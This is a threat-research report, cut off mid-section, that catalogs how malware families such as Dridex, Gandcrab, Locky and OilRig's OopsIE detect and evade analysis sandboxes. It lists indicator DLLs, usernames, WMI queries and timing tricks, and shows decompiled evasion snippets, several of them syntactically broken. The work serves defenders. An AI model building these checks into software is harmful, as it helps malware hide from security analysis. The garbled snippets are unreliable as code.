The Sandbox evasion techniques falls under this sub-category detect the environment used by malwares which are specific to sandbox analysis not the Virtual Environment or Hypervisor. As this environment is widely used for malware analysis, so all behavioural activities done by malwares (like File, Registry, Memory, Network) through windows system functions are hooked or patched by Sanboxie modules, and have minimal software application, user properties are alike as clean system with no windows updates, minimal processes or task running in background, no recent files accessed, no cookies, no printers, no network traffic, etc., which are not seen in real computer systems. These fingerprints are used by malware authors to identify the difference between the sandbox system and real computer system and detect the sandbox analysis environment. Here are the techniques used by malwares to detect the Sandbox's Analysis Environment, which include:
1.2.1  CHECK FOR SANDBOXIE DLL’S / API HOOKS

The purpose of Sandboxie dll’s / API Hooks are used by sandbox defenders to capture the behavior or activities done by malicious files, however these fingerprints are gathered by malware authors in multiple ways (one of the methods is through GetModuleFileName function) and used in their code to detect the Sandboxie analysis environment. Thus, if malicious file executed inside those known Sandboxie analysis environment it will not show any malicious activities and flag the file as benign. Some of the popular sandboxie modules check seen in malicious files are avghookx.dll, avghooka.dll, snxhk.dll, sbiedll.dll, wine_get_unix_file_name (in kernel exports), dbghelp.dll, api_log.dll, api_log.dll, dir_watch.dll, pstorec.dll, vmcheck.dll, wpespy.dll, cmdvrt32.dll and cmdvrt64.dll

1.2.2  CHECK FOR MONITORING TOOLS

Generally, Sandboxie analysis environment monitor the behaviour of the file by using their own sandbox modules however in some cases traditional sandboxes use open source monitoring tools like sysinternal tools, Wireshark, Fiddler, etc., to monitor the behaviour seen in malware files, which is noticed by malware author to add check in their malware code to detect the usage of those popularly used monitoring tools and identify the existence of sandbox systems. Thus, if malicious file executed inside those sandbox systems, it will not show the malicious activities and flag the file as benign.

1.2.3  CHECK FOR SANDBOX PRODUCT ID’S, AND USERNAMES

Traditional sandbox or publicly available sandboxes product has unique product id’s and uses the default username for sample analysis inside sandbox systems, malware authors gathered those information’s and added their code with those specific product ids and usernames and then show the malicious payload only if those sandbox ids and usernames are not matched. Some of the popular sandbox product ids check seen in malicious files are "55274-640-2673064-23950", "76487-337-842955-22614" and "76487-644-3177037-23510". Some of the popular user name check seen in malicious files are ADMIN, SANDBOX, TEST, MALTEST, VIRUS, TEQUILABOOMBOOM, CURRENTUSER, HONEY, VMWARE, NESPENTHES and SNORT.

1.2.4  CHECK FOR NETWORK SIMULATOR

Many sandboxes usually simulate the DNS queries to avoid malicious traffic or C&C going outside to the intended destination, they are simulated to send the fake reply to the DNS queries initiated by the malware with the internal subnet IP or the private IP ranges. These information’s are noticed by malware authors and enhanced their code to send the repeated DNS queries to the different random domains and check if the DNS replies contains the same IP address or different IP address of the private range. If the IP’s are different then malware identifies as sandbox system and malicious payload will not be triggered.

1.2.5  CHECK FOR ACTUAL FILE NAME AND FILE LENGTH CHECK

As sandbox analysis environment are automated, traditional sandboxes rename the filename with their default name before execution, which are noticed by malware authors and added their code with actual filename and length check before showing the malicious payload and evade from sandbox system.

1.2.6  CHECK FOR INSTALLED SOFTWARE, SYSTEM UPTIME, RECENTLY ACCESSED FILES COUNT AND OTHER DEFAULT USER ENVIRONMENTS

Many sandbox analysis environment are automated environment and used only for sample execution, so traditional sandboxes had very minimal software or application installed, number of running processes or tasks are less in numbers, no cookies or URL history, no recently accessed files, etc., will
not look like normal user environment. These information’s are used by malware authors to detect sandbox analysis environment based on default user artifacts information and evade from sandbox systems.

1.2.7 CHECK FOR COLOR BIT & RESOLUTION

Generally, Color bit for sandbox analysis environment is less than 32 bits and color resolution less than 1024 pixel, which are lesser than the real machine (non-sandbox environment). These information’s are noticed by malware author employed in their code to detect sandbox analysis environment.

1.2.8 CHECK FOR COUNTRY/REGION

This technique used by malware author is to identify the country information of the system in which file is executed and show the malicious only if the intended or targeted country or region is matched. As many sandboxes execute files in default system localization settings, which is limited to single or any specific country/region, malicious files shows the payload only if expected country or region is matched otherwise file behaves as benign.

Malware families used: We found this technique are seen in variants of malware families like Dridex, Fariet, Gandcrab, Troldesh, MS Office downloader family and other malware families.

2. Hardware Detection

Many sandboxes are designed to analyze multiple files in parallel, they allocate minimum hardware resources (like Hard disk size, CPU Core count, etc.,) to each instance of sandbox, which was noticed by malware authors and added their code with sandbox hardware fingerprints to detect the sandbox. Here, are the sandbox evasion techniques which falls under this category:

2.1 Check for CPU Core Count

In recent years, computers are used to perform multiple task in short span of time which is achieved by multi core technologies so most of default computer have atleast 2 CPU cores to do multiple tasks in parallel however sandbox system are designed to execute only one sample at a time so multi core processors are not required , this fingerprint is used by malware authors to detect the sandbox hardware environment to check the number of CPU cores count and exits without showing malicious payload if the number of cores count is < 2 .

In recent years we noticed many malware families employed multiple methods to identify number of CPU core count and exit if CPU count is only one. Thus, we mentioned below six multiple methods seen in malwares to get the CPU core count.

2.1.1 USING GETSYSTEMINFO API

One of the easiest and straightforward way is to use GetSystemInfo Windows API calls, which returns the SYSTEM_INFO structure which has information about the current system. The other common windows API’s seen in malwares to retrieve CPU core count information are GetActiveProcessorCount, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetCurrentProcessorNumber, GetCurrentProcessorNumberEx
The Journey of Malware Families Evade Sandbox

2.1.2 USING NATIVE API

This is indirect way to call GetSystemInfo function through NtQuerySystemInformation, which invokes a lower level calls to ntdll.dll functionality. The function NtQuerySystemInformation retrieves the specified system information, whose one of the parameters is to get SystemInformationClass, which indicate the kind of system information to be retrieved whose one of the values include SystemBasiclnformation details which returns the number of processors in the system. Here are the few common Native API’s seen in malwares to retrieve the CPU core count information are NtGetCurrentProcessorNumberEx, RtlGetCurrentProcessorNumber, RtlGetCurrentProcessorNumberEx, RtlGetNativeSystemInformation, NtGetCurrentProcessorNumber

2.1.3 USING REGISTRY API

The number of CPU processor count can be retrieved by querying the sub-key of the below registry key. In sandbox, only one subkey (named as “0”) will be present but in case of real machine (or non-sandbox environment) it will be more than one subkeys (namely 0, 1, 2 and many more) which means machine has more than one CPU core. By this way malware can identify the number of CPU core count and exit if only one CPU core found and hide the payload from sandbox radar.

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\

2.1.4 USING PROCESS ENVIRONMENT BLOCK

As shown in Fig.2 malware retrieve the CPU core count using PEB (0x64), which is one of easiest way to detect CPU count

![Fig.2 shows CPU Core Count retrieve through PEB](image)

2.1.5 USING GETPROCESSAFFINITYMASK ()

This function retrieves the process affinity mask for the specified process and the system affinity mask for the system. This method of querying the environment is based on bit vector in which each bit represents the processors that a process is allowed to run on. This way of querying CPU core count is different from using user mode windows API function, PEB structure in memory and WMI methods. Malware authors employed this kind of method to defeat the sandbox as it is difficult to patch by defenders.

2.1.6 USING WMI

Some of the WMI queries seen in malwares to detect the Sandbox Hardware Environment:

- SELECT * FROM Win32_Bios WMI Class, used to query the machine Serial Number
- SELECT * FROM Win32_PnPEntity WMI Class, used to query the machine Deviceld
- SELECT * FROM Win32_NetworkAdapterConfiguration WMI Class, used to query the MAC Address
- SELECT * FROM Win32_NTEventlogFile WMI Class, used to query event details
- SELECT * FROM Win32_Processor WMI Cass, used to query the CPU Number of Cores and Processor Id
- SELECT * FROM Win32_LogicalDisk WMI Class, used to query Disk Size
- SELECT * FROM Win32_ComputerSystem WMI Class, used to query Model and Manufacturer details
- SELECT * FROM MSACpi_TermalZoneTemperature WMI Class, used to query the machine Current Temperature
- SELECT * FROM Win32_Fan WMI Class, used to query CPU FAN information
2.2 Check for CPU Temperature and CPU Fan

Often traditional sandbox uses virtualized environment inside the sandbox system, which does not support CPU temperature and CPU FAN, thus if malware query those information (popular way is query through WMI Classes) it will not return the proper value, which is used to detect the sandbox hardware information and evade the malicious payload.

2.3 Check for Hard Drive properties

Often traditional sandboxes use virtualized environment inside the sandbox system to execute the sample for analysis, so malware authors employed this technique to query Hard Drive information like storage name and then compared with the virtualization environment strings to detect sandbox hardware information and evade the malicious payload inside sandbox system sandbox hardware environment. Windows API’s DeviceIoControl and GetDiskFreeSpaceEx was widely seen in malwares to retrieve the Hard drive properties.

2.4 Check for System Memory

Many traditional sandboxes have minimal RAM size (< 1GB) which is very less than today’s RAM memory in real systems, which was noticed by malware authors to detect the sandbox hardware environment and behaves as benign inside sandbox systems. Windows API GlobalMemoryStatusEx was widely seen in malwares to retrieve the RAM Information.

Some of the other checks used by malware authors to detect the sandbox hardware information’s are Model, Processor ID, BIOS, and Mouse Pointing Device

Malware families used: We found this technique seen in variants of malware families like Dyre (Banking Trojan), DarkHydrus (APT group), Phorpiex, Comrerop, Simda, Cradle Ransomware and other malware families.

3. Human Interaction

This technique used by malware authors to detect the presence of Human Interaction and defeat the automated analysis system. The malware authors halt the full execution of its malicious payload if no human interaction found and hide the malware payload from sandbox radar. Some of the sandbox evasion technique falls under this category includes,

3.1 Check for Mouse and Keyboard events using SetWindowsHookEx

This technique seen in malwares to check windows Keyboard and Mouse events, which are achieved by malware authors by calling SetWindowsHookExA / SetWindowsHookExW function, which installs an application-defined hook procedure into hook chain. Widely used values of idHook seen in malware to monitor Mouse and Keyboard inputs are WH_KEYBOARD, WH_KEYBOARD_LL, WH_MOUSE, WH_MOUSE_LL

3.2 Check for Dialog Boxes using MessageBoxEx

This technique seen in malwares to detect the human interaction by displaying a dialog box that requires the user to respond. This is achieved by malware authors by using MessageBox and MessageBoxEx functions of Windows to create dialog boxes in executables. The malware activates only after user clicks a button and identify whether the human interaction is happened or not.
Malware authors can also achieve this technique by using fake installers as wrapper for malicious payload so that while executing the files inside sandbox it calls the dialog box trigger by fake installer which requires button click for installation.

3.3 Check for Mouse Cursor movement Using GetCursorPos ( )

This technique detects the Human Interaction by checking the presence of Mouse cursor movement. One of method to achieve this technique malware author is to use GetCursorPos function. The Purpose of this function in windows is to retrieve the position of the mouse cursor in screen coordinates (as x & y) which is also used by malware authors to identify the mouse cursor movement by getting the Cursor position through GetCursorPos function and wait for certain period of time and then again call GetCursorPos function, if difference between the current and previous recorded mouse cursor coordinates is non-zero means mouse cursor movement happened and malware believes it to be running in an non-sandbox environment.

3.4 Check for current active window using GetForegroundWindow ( )

This technique seen in malware to detect the sandbox using current active window. The is achieved by malware authors by using GetForegroundWindow function, which retrieve the handle of the foreground window (the current active window). By calling this function for multiple times and constantly check whether the current foreground window has changed or not. If the window has changed then malware continue to show the payload.

3.5 Check for Mouse Button Clicks Using GetAsyncKeyState ( )

This technique seen in malwares to detect multiple Mouse button clicks. The purpose of this function in windows is to determine whether a key is up or down at the time function is called, and whether the key was pressed after a previous call to GetAsynKeyState, which is also used by malware authors to detect the sandbox environment based on multiple mouse button clicks checks.

This method of detecting the sandbox is advancement of earlier way to detect human interaction, where malware authors check for single click to detect sandbox which is been defended by many sandboxes, so malware authors updated their code to check multiple mouse button click to bypass the human mimic done in sandbox systems.

3.6 Check for Word document close Using word Auto Close ( )

Many traditional sandboxes fail to close the document after execution, by knowing this weakness malware author coded to trigger payload only if the document is closed, otherwise document will not trigger the payload and behaves as benign file. This is achieved by malware author by using Microsoft Office word AutoClose function.

3.7 Check for Scroll movements

This technique is advancement of Mouse clicks (single or multiple) and Mouse cursor movement to detect human interaction in sandbox systems. This technique was used in Non-PE files (like Office word document, RTF, PDF) where the file has more than one page and it needs to be scrolled till end to trigger the malware payload otherwise file behaves as benign. Often sandboxes open the file for execution and never scroll the pages till end of the file, which was identified by malware authors and used in their code to detect the sandbox.
Malware families used: We found this technique seen in variants of malware families like Ursnif, Locky Ransomware, Banechant APT, UPClicker and other malware families.

4. Delay Execution

This category of technique does not detect sandbox environment instead it is used to circumvent the timeout configuration and exploits the outcome of automated system. It is a simplest trick as a result of it many malware families employ it to delay execution and takes long time to reach the malicious payload. The delay is usually greater than the time the sandbox executes the samples. Some of the methods to attain this sandbox evasion technique includes:

4.1 Using Sleep()

This is one of the easiest ways for a malware authors to delay execution. This technique can be achieved by using Sleep functions. The purpose of sleep function in windows is to suspend the current thread until the specific condition is met which is used by malware authors as well to direct the operating system to suspend its execution for some time. This function was used by malware authors in a loop as well to suspend for long time.

4.2 Using NtDelay()

This is an undocumented windows function, which can perform delay in execution. This function is the advancement of sleep function used by malware authors to evade sandbox system. As traditional sandbox might have suppressed or bypassed sleep function very easily, so the malware author improved their code with undocumented function to delay the execution.

4.3 Using Object Wait()

This technique can be achieved by using WaitForSingleObject & WaitForMultipleObject functions. The purpose of these functions in windows is to check the current state of the specified object (one or multiple). The thread which calls this function must wait until the time-out interval elapses, which is also employed by malware authors to elapse for some time, often this elapse time is long time to avoid reaching the malware payload and evade from sandbox analysis time.

4.4 Using Logic Time Bomb

This technique employed by malware authors to trigger or show the malicious behaviour only at specific date and time (which is hardcoded in the malware code) until then malware delay or postpones its malicious payload.

4.5 Using Stalling Code

The purpose of stalling code is to slow the execution by performing useless operation for long time and no malicious trace will be seen. As sandbox systems are designed to run for short span of time, these kinds of files have timeout error as it needs more time to reach the payload code. This can be achieved by malware authors through Inline function in a loop or call junk API’s in a loop to delay for long time and evade from sandbox systems.
4.6 Using GetTickCount ()

This technique is used by malware authors to delay the execution time for specific interval of time. The purpose of GetTickCount function in windows retrieves number of milliseconds that have elapsed since the system was started, which is used in malware authors by comparing its return value of this function with predefined time in malware code to check the system is alive or not in that span time. As per design of sandbox system it won’t be alive for long time, so it was exploited by malware authors to detect the sandbox environment and avoid malicious file to show its payload in that span of time.

4.7 Detect Time acceleration Check

This technique is used by malware authors to detect the suppress of delay time done by sandbox systems. As malware authors employ multiple techniques to delay the execution time in the sandbox environment, consequence of it sandbox defenders attempted to defeat it by accelerating the time delay code in multiple methods and bypassed it. To overcome the time delay suppress, countermeasure check done by malware authors to see whether delay time code works as expected or not. If malware found that time delay is suppressed, then malicious payload will not be showed.

4.8 Using Reboot or Scheduled tasks trigger

This technique used by malware authors to exploit the weakness of sandbox design where malicious file shows the payload only if system re-boots or particular tasks repetitively called at some time through scheduled job tasks.

Malware families used: We found this technique seen in variants of malware families like Kovter, Cutwail, Upatre, Dyre, Cerber ransomware, Shamoon APT and other malware families.

Now let’s dive into various sandbox evasions employed by different malware families.

Sandbox Evasion Techniques seen in recent APT families

An advanced persistent threat (APT) is a prolonged and targeted cyberattack where attacker gains access to a network and remains undetected for a period of time. The intention of an APT attack is usually to monitor network activity and steal data rather than to cause damage to the network or organization. In recent years malware authors codes APT families use Windows Management Instrumentation (WMI) widely to discover the Sandbox Hardware information and/or Environment information and shows malicious payload only in real physical machine, we have explained below sandbox evasion techniques seen in recent APT families.

WMI based Sandbox Evasion Techniques

Recently we have seen Gravity Rat malware family, an advanced Remote Access Trojan (RAT) that was used in targeted attacks against organizations in India, it employed several sandbox evasions through WMI Query to get several Hardware and Virtual Environment information

WMI query to get the CPU temperature from MsAcpi_ThermalZoneTemperature Class (as shown in Fig.3) to identify targeted machine is physical machine or not.
The Journey of Malware Families

Evade Sandbox

WMI query to get the Processor ID of the system from Win32_Processor Class (as shown in Fig.4) to identify targeted machine is physical machine or not.

Fig.3 shows WMI query to CPU Temperature

Fig.4 shows WMI query to Processor ID of the system
WMI query to get Manufacturer information from Win32_ComputerSystem (as shown in Fig.5) Class and checks with Virtual Environment strings contains “VIRTUAL” Or “vmware” or “VirtualBox”.

```csharp
public static bool GetProcessorID(out VirtualMachine virtualMachine)
{
    virtualMachine = default(VirtualMachine);
    bool flag = false;
    string queryString = "SELECT ProcessorID FROM Win32_Processor";
    try
    {
        using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(queryString).Get().GetEnumerator())
        {
            if (enumerator.MoveNext())
            {
                ManagementObject managementObject = (ManagementObject)enumerator.Current;
                if ((string)managementObject["ProcessorID"] == null)
                {
                    string host = (string)managementObject["DeviceID"];
                    string machineName = (string)managementObject["SystemName"];
                    virtualMachine = new VirtualMachine(host, machineName);
                    flag = true;
                    result = flag;
                    return result;
                }
                flag = false;
                result = flag;
                return result;
            }
        }
        catch (Exception ex)
        {
            ExceptionManager.WriteLineExceptionLog("GetProcessorID", ex);
            flag = false;
            bool result = flag;
            return result;
        }
    }
    return flags;
}
```

*Fig.5 shows WMI query to get manufacturer information*

WMI query to get Core Count information from Win32_Processor (as shown in Fig.6) Class and excepts to be more than one to detect the sandbox system.

```csharp
using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("Select * from Win32_Processor").Get().GetEnumerator())
{
    if (enumerator.MoveNext())
    {
        ManagementBaseObject current = enumerator.Current;
        var name = current["NumberOfCores"].(ToString());
        bool result = false;
        if (name == 1)
        {
            string host = current["DeviceID"].(ToString());
            string machineName = current["SystemName"].(ToString());
            virtualMachine = new VirtualMachine(host, machineName);
            flag = true;
            result = flag;
            return result;
        }
        flag = false;
        result = flag;
        return result;
    }
}
```

*Fig.6 shows WMI query to get Core Count check*

Malware authors detect the Virtual environment through the registry keys (as shown in Fig.7) present in the system.

```csharp
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Virtual Machine\Guest\\Parameters");
if (registryKey != null)
{
    virtualMachine = new VirtualMachine(registryKey.GetValue("HostName").ToString(), registryKey.GetValue("VirtualMachineName").ToString());
    result = true;
}
```

*Fig.7 shows Virtual Environment check in registry*
Malware authors check for Known Virtual Environment MAC address (as shown in Fig.8) present in the system.

```java
string mac = Identification.Instance.Macid;
if (new string[]
    { "00:50:56 / VMware, Inc.",
      "00:8C:29 / VMware, Inc.",
      "00:0B:56 / VMware, Inc.",
      "00:01:27 / PCS SystemsTechnik GmbH (VirtualBox)",
      "00:1C:42 / Parallels, Inc.",
      "00:16:3E / Xensource, Inc.",
    }.FirstOrDefault((string c) => c.Contains(mac)) != null)
{
    string host = Environment.UserName.ToString();
    string machineName = Environment.MachineName.ToString();
    virtualMachine = new VirtualMachine(host, machineName);
    return true;
}
```

Fig.8 shows MAC Address check

WMI query to get BIOS information from Win32_BIOS Class (as shown in Fig.9) and check with Virtual Environment strings contains "VMware", "Virtual", "XEN", "Xen" or "A M I" to detect the sandbox system.

```java
virtualMachine = default(VirtualMachine);
bool flag = false;
ManagementObjectCollection managementObjectCollection = new ManagementObjectSearcher("select * from Win32_BIOS").Get().GetEnumerator();
if (enumerator.MoveNext())
{
    throw new Exception("Unexpected WMI query failure");
}
string text = enumerator.Current["version"].ToString();
enumerator.Current["SerialNumber"].ToString();
string[] array = new string[]
    { "VMware", "Virtual", "XEN", "Xen", "A M I" }
```

Fig.9 shows BIOS version check

We also observed variant of OopsIE trojan delivered by OilRig APT campaign performed multiple WMI query to confirm it is running inside real physical machine (not in sandbox). As shown in Fig.10, malware uses same obfuscated function to make analysis difficult and perform multiple WMI query.

```java
public static byte[] 87100173(byte[] 87255363)
{
    checked
    {
        byte[] result;
        using (MemoryStream memoryStream = new MemoryStream())
        {
            int arg_10_0 = BitConverter.ToInt32(87255363, 0);
            memoryStream.Write(87255363, 4, 87255363.Length - 4);
            byte[] array = new byte[arg_10_0 - 1 + 1];
            memoryStream.Position = 0;
            using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
            {
                gZipStream.Read(array, 0, array.Length);
            }
            result = array;
        }
        return result;
    }
```

Fig.10 shows Obfuscated function seen in OopsIE malware
WMI Query to get CPU fan information from Win32_Fan Class (as shown in Fig.11), if returned class with more than zero element then it is likely to be run in non-virtualized environment.

![Fig.11 shows WMI Query to CPU FAN](image)

WMI query to get CPU Temperature information from MSACpi_ThermalZoneTemperature Class (as shown in Fig.12), returns Current Temperature value from this object. If return result is not supported, then it identifies malware is running in a virtual machine.

![Fig.12 shows WMI Query to CPU Temperature](image)

WMI query to get Pointing device information from Win32_PointingDevice Class (as shown in Fig.13), return the Caption, Description, Hardware Type, Manufacturer and Name fields in the results in which malware check for strings Virtual, VMware, VM, Oracle.

![Fig.13 shows WMI query to Pointing Device](image)

WMI query to get Hard disk information from Win32_DiskDrive (as shown in Fig.14), return the caption and model field results in which malware check for strings Virtual, VMware, VM, Oracle.

![Fig.14 shows WMI query to Disk Drive](image)

WMI query to get Mother Board information from Win32_BaseBoard (as shown in Fig.15), return the caption and model field results in which malware check for strings Virtual, VMware, VM, Oracle.

![Fig.15 shows WMI query to Base Board](image)
Another threat actor named DarkHydrus APT, targets government agency in Middle East group delivered Rogue Robin malware employed with multiple sandbox evasion check (as shown in Fig. 16) before carrying out the payload functionality. It uses WMI query to get BIOS version information from Win32_BIOS Class and check with for virtualized environment string contains “VM” or “bochs” or “qemu” or “VirtualBox” or “VM” and BIOS manufacture information to detect XEN environment.

It checks for Total Physical memory size using Win32_ComputerSystem WMI class, if it is less than 2,900,000,000 bytes, then it exits. It checks for CPU Core count using Win32_Processor WMI class, if it is less than 1, then it exits. It enumerates running process and checks for Company name as “Wireshark” and “sysinternals” (they belong malware analysis tools).

We also noticed Gaza hacker group delivered BadPatch malware also employed WMI based evasion techniques to identify the sandbox environment and hide payload from sandbox radar. We found that many malware families delivered by APT groups leverage .Net complier and PowerShell scripts employed WMI based sandbox technique.
Microsoft office files have been used over a decade by malware authors as one of the major threat vectors to deliver the malware files to victim machine through phishing campaigns. We have explained below how these Microsoft office application files like Word, Excel and PowerPoint seen in recent MS office Downloader families have been misused by malware authors to detect the sandbox systems and evade malicious activities from sandbox radar.

**Sandbox Evasion Techniques seen in Recent MS Office Downloader families**

Using Application.International Excel property

The technique used by malware authors to detect the sandbox artifacts and don’t show any malicious payload behaviour inside the sandbox. Here malware code checks for system localization settings to target specific country/region based on Application.International Excel property variable.

The purpose of Application.International Excel property is to return information about the current country/region and international settings.

From the Macro code seen in Fig.17 shows that it uses the Excel -Specific variable (xlCountry-Setting) which most of the macro code won’t do, which shows that for proper execution of this macro code, office excel environment is must. In case if execution happened in emulator then it results in improper execution and fails to emulate the excel variables (anti-emulator trick).

The use of xlCountrySetting variable in the below macro code (as shown in Fig.18) returns the current country/region version setting in the windows control Panel which shows that malware author is indented to execute the payload only in specific country/region, which means if the expected country is not matched with the malware author code then it fails to download the payload and flagged a benign file.

Fig.19 shows another snippet of macro code where malware author uses xlCurrencyCode variable which return the Currency Symbol, which shows that malware author is indented to execute the payload only in country whose currency symbol should be Euro “€”, which means if the expected currency symbol is not matched with the malware author code then it fails to download the payload and flagged a benign file.

Additionally, it uses undocumented variable xlDate in Application.International Excel property, which returns value “2 ”by default.

Many traditional sandboxes use default system localization settings, which is limited to single or any specific localization settings, so malicious excel macro which is executed in non-intended sandbox systems behaves as benign file. We have seen this technique in recent malicious MS Office downloader family download Ursnif malware family.
Fig.17 shows macro code checks for Japan country Code

Fig.18 shows macro code checks for Italy Country Code
Using Mouse Over

This technique was seen in MS office downloader family where malware authors detect human interaction through Mouse hover on Hyperlink message to download the payload. To achieve this technique malware author hide PowerShell payload inside Mouse Over Action Settings (as shown in Fig.19) and used PowerPoint slide XML Slide Show (PPSX) or PowerPoint Show (PPS) files as it directly opens the PowerPoint file in presentation mode.

As mouse movement should be on hyperlink message traditional sandbox system might not handle this kind of sandbox evasion and flag the malicious file as benign in such sandbox systems. Often malware authors deliver the payload through MS office word or MS office Excel however malware variant of Zusy delivery by MS office PowerPoint slide XML Slide Show (PPSX) or PowerPoint Show (PPS).

Sandbox Evasion Techniques seen in Dridex campaign

Many MS office downloader families employed multiple sandbox evasion techniques to detect the sandbox artifacts and deliver the payload only if no traces of sandbox environment found. One such campaign delivers Dridex malware has many checks to detect the presence of sandbox system through multiple sandbox evasion technique as shown in Fig.20 and Fig.21:

Let’s investigate each technique seen in macro code one by one.

Check for Actual File name

This technique used by malware authors to check the file name. If the file name is not the exact one with the malware author code, then malware will not show payload and behave as benign file.

The Macro code of Dridex campaign (as shown in Fig.20) used ActiveDocument.Name property, which return the name of the active document, and then it checked against with hardcoded file names. If the file name is not matched, then exits else continue to show the malicious payload.

Check for Recent File Accessed Count

This technique used by malware authors to check the recent file accessed count. If the number of recent files accessed count is not matched with the excepted condition by malware code, then malware will exit without showing the malicious payload.

To achieve this technique, malware authors used Application.RecentFiles.count property, which return the recent files accessed count, and then it checked against with the excepted count as coded by malware author, with respect to Fig.20, macro code expects the minimum count as 3, if it is not matched then file exits without showing the malicious payload.
Check for Computer User name (using WMI)

This technique used by malware authors to query user name of the computer system through Windows Management Instrumentation (WMI). As shown in Fig.20, macro code queried system user name from Win32_ComputerSystem WMI class and compared against with list of default sandbox user name “ADMIN”, “SANDBOX” or “TEST”, if the user name is matched then malware exits otherwise it shows the payload.

Check for Running Tasks name

This technique used by malware authors to check the running tasks name(s). If the running tasks names is not matched with the malware author code, then malware will not show malicious behaviour. This technique is used to detect the virtual environment task names (like vbox, vmware, etc.) and malware analysis tools task names (like Wireshark, process explorer, etc.,) based on tasks names hard coded in malware author code.

To achieve this technique, (as shown in Fig.20) malware authors used Application.Tasks property which returns the tasks collection that represents all the applications that are running in memory, and then it checked against with the list of tasks name in the macro code. If the tasks name is matched, then exits else continue to show the malicious payload.

Using Autoclose () Check:

This technique used by malware authors to detect the Human interaction. Dridex macro code will run the payload only if document is closed otherwise it exits. As shown in Fig.21, this evasion technique is achieved by calling the malicious function inside MS office document through AutoClose () function.
Check for File Name Length

Many sandboxes often rename the original file name to hash value as name (like MD5, SHA1, SHA2) whose length is 32 and above. As shown in Fig.21, Dridex malware authors coded the file name length check to be less than the hash value length, so if sandbox analysis environment changes the filename to hash value name then file exits without showing the payload.

This technique employed in Dridex Macro code by using ActiveDocument.Name property which return the name of the active document, then it checked with the length of active document file name. If the file name length is not the matched with the malware author code, then malware will not show the malicious payload.

Sandbox Evasion Techniques seen in Ransomware families

Ransomware is a type of malware that prevents or limits victims from accessing their system, either by locking the system's screen or encrypt certain file types on infected systems and forces users to pay the ransom through certain online payment methods to get a decrypt key. We have explained below sandbox evasion techniques seen in Ransomware families.

Check for Command Line Argument

This technique used by malware author to detect the sandbox analysis environment by calling the command line argument in run time for file to show the malicious payload.

As shown in Fig. 22, This technique found in variant of Locky Ransomware family which requires command line argument to be passed in malware binary to decrypt the payload. To attain this evasion, malware uses windows API `CommandLineToArgvW`, which parses a Unicode command line string and returns an array of pointers to the command line arguments and then uses `wtoi` function to covert the argument as Integer Value, later it is used as key for the loader’s decryption routine.

As many traditional sandboxes which don’t have option to provide the command line argument will fail to detect the file as malware and flagged as benign file as it will not show the malicious payload without command line argument.

```assembly
$ 55 88 EC
.8B EC
.51 8B 45 FC
.50 89 5C 24 01
5E 74 1D
83 7D 0C 7C 0C
FF 70 0A
FF 55 00 09 20 01
59 C9 63

PUSH EBP
MOV EBP,ESP
PUSH ECX
LEA EAX, DWORD PTR SS:[EBP-4]
PUSH EAX
CALL DWORD PTR DS:[KERNEL32.GetCommandLineW]
PUSH EAX
CALL DWORD PTR DS:[KERNEL32.CommandLineToArgwW]

TEST EAX, EAX
JE SHORT Locky\_01811E1
CMP DWORD PTR SS:[EBP-4], 2
JL SHORT Locky\_01811E1
PUSH DWORD PTR DS:[EBX+4]
CALL DWORD PTR DS:[msvcrt\_utoi]
PUSH EAX
LEAVE
RET
```

Fig.22 Shows the command line argument check seen in Locky Ransomware
Check for Time acceleration using GetTickCount()

As malware families employ multiple evasion techniques to delay the execution time in the sandbox environment as consequence of it sandbox defenders attempted to defeat it by accelerating the code in multiple methods, to overcome this countermeasure malware authors of Cerber ransomware family (as shown in Fig.23) restored to use the accelerating checks using GetTickCount windows function. We noticed some variant of malwares families like Cerber ransomware, Upatre and other malware families uses this technique to evade from sandbox environment.

Fig.23 shows sleep function called in between two GetTickCount function to check the time difference if excepted time has elapsed then malware detect the time acceleration check is done and don’t show the malware payload.

Detect the Current Active Window using GetForegroundWindow()

This technique seen in Locky Ransomware to detect the sandbox analysis environment using current active window. As shown in Fig.24, it is achieved by malware authors by using GetForegroundWindow API function, return handle to the window with which the user is currently working on. which is also used by malware authors to constantly check whether the current foreground window has changed or not. Unless window focus changes Locky don’t show malicious behaviour.
Detect CPU Core Count using GetProcessAffinityMask()

We noticed variant of Cradle Ransomware evade from sandbox by detecting the CPU Core count using GetProcessAffinityMask and GetSystemInfo functions. As shown in Fig.25, malware uses GetProcessAffinityMask function to get the count of CPU Core by shifting the bit in left position (V2) and mask each set bit in SystemAffinityMask, and then verify whether the core count is less than 2. If yes then sample terminate without the showing the payload. In case if GetProcessAffinityMask call fails, malware author retrieves CPU Core count using GetSystemInfo function as well. If it is less than 2 then file behaves like benign.

```
DWORD __cdecl sub_h1E26C()
{
    HANDLE v0; // eax
    DWORD CoreCount; // ecx
    signed int v2; // edx
    DWORD result; // eax

    struct _SYSTEM_INFO SystemInfo; // [sp+8h] [bp-2Ch]07
    ULONG_PTR ProcessAffinityMask; // [sp+24h] [bp-8h]0f
    ULONG_PTR SystemAffinityMask; // [sp+28h] [bp-4h]0f

    v0 = GetCurrentProcess();
    if ( GetProcessAffinityMask(v0, &ProcessAffinityMask, &SystemAffinityMask) )
    {
        CoreCount = 0;
        v2 = 0;
        do
        {
            if ( (1 << v2) & SystemAffinityMask )
            {
                ++v2;
            }
        } while ( v2 < 32 );
        result = CoreCount;
    }
    else
    {
        GetSystemInfo(&SystemInfo);
        result = SystemInfo.dwNumberOfProcessors;
    }
    return result;
}
```

Fig.25 shows Detect CPU Core Count using GetProcessAffinityMask function

Detect the presence of Virtualization software and Sandboxie Loaded DLLs in running processes

We noticed variant of Gandcrab ransomware sample evade from sandbox environment by checking the existence of virtualization software (as shown in Fig.27) in running processes and Sandboxie Loaded DLLs like wpespy.dll, dir watch.dll, sbiedll.dll, sbiedllx.dll, etc., using CreateToolhelp32Snapshot, Process32First, Process32Next windows APIs. If it found any virtualization environment process running in memory, then malware exits without doing malicious activities and hide from sandbox radar.

Check for Wine Software through Kernel export function

Gandcrab ransomware variant also has check to detect wine software (as shown in Fig.26) by checking if kernel32.dll is exporting "wine_get_unix_file_name" function or not. If the expected function found, then malware exits without doing malicious activities.
The Journey of Malware Families Evade Sandbox

Check for Virtualization software Filenames Using GetFileAttributes

